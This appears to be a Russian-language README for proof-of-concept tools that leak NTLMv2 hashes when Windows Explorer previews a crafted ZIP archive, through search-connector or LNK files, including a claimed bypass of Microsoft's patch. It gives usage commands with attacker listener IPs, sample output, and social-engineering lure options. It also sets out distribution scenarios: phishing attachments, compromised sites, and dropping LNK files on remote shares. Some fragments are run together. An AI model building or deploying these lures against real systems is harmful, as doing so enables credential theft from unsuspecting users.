
Раскрытие хэша NTLMv2-SSP в Windows File Explorer без единого клика
Нажмите на изображение выше, чтобы посмотреть демонстрацию уязвимости
Фундаментальная проблема безопасности заключается в автоматической обработке Windows Shell встроенных UNC-путей в определённых файловых форматах во время операций предпросмотра. Когда пользователи открывают ZIP-архивы, содержащие специально созданные файлы, Windows Explorer автоматически разрешает UNC-пути без согласия пользователя, инициируя попытки SMB-аутентификации и раскрывая NTLMv2-SSP хэши на контролируемых атакующим серверах.
Файл: ntlm-disclosure-poc.py
Эта первая реализация эксплуатирует файлы поисковых коннекторов Windows (.searchConnector-ms) — XML-конфигурации, определяющие места поиска для Windows Explorer. Уязвимость срабатывает, когда Windows автоматически обрабатывает встроенный UNC-путь в элементе simpleLocation во время предпросмотра ZIP-архива.
Технические характеристики:
searchConnectorDescriptionФайл: patch_bypass.ps1
Этот усовершенствованный метод обходит первоначальный патч Microsoft, используя свойства LNK-файлов. Атака эксплуатирует поведение Windows Explorer по получению метаданных иконок и разрешению путей назначения во время предпросмотра ZIP-файлов, сохраняя вектор эксплуатации без единого клика благодаря тщательной настройке свойств.
Технические характеристики:
TargetPath3.6+colorama5.1+Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser# Basic usage
python ntml-disclosure-poc.py 192.168.1.100
# With custom output file
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip
# Example output
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip
Parameters
target (required): Target IP address or hostname
-o, --output: Custom output filename for ZIP package
# Basic usage - LNK file auto-removed
.\bypass.ps1 -IP 192.168.1.100
# Keep LNK file for external distribution
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk
# Custom lure name and share
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk
# Specify output directory
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk
Parameters
-IP (required): Target SMB server IP address
-Share: SMB share name (default: 'share')
-File: Target filename (default: 'payload.exe')
-Lure: Social engineering filename (default: 'Your_File_For_Payload_Here')
-OutDir: Output directory (default: current directory)
-KeepLnk: Preserve LNK file after ZIP creation
graph TD
A[🔴 CVE-2025-24054<br/>Initial Vulnerability] --> B[🛡️ Microsoft Patch]
B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
C --> D[🛡️ Microsoft Patch]
D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
E --> F[🔴 Current State<br/>Active Exploitation]
style A fill:#ffcccc
style C fill:#ffddcc
style E fill:#ffffcc
style F fill:#ccffcc📨 Сценарий 1: Прямое распространение ZIP
# Create ZIP payload
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"
# Distribution vectors:
# - 📧 Email attachments with social engineering lures
# - ☁️ Compromised file sharing services
# - 🌐 Network share drops in enterprise environments
🔄 Сценарий 2: Передача LNK-файла
# Create and preserve LNK file for multi-host deployment
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk
# Cross-host deployment:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Web-based distribution via compromised sites
🎯 Сценарий 3: Целевая социальная инженерия
.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk
- Group & Contact: t.me/initial_persistence
- Email: [email protected]
| Вектор | Механизм срабатывания | Взаимодействие с пользователем | Статус патча |
|---|
| 🔗 SearchConnector | Разбор XML + разрешение UNC | Открытие ZIP | 🛡️ Исправлено |
| 📎 LNK TargetPath | Получение метаданных иконки | Открытие ZIP | 🔴 Активно |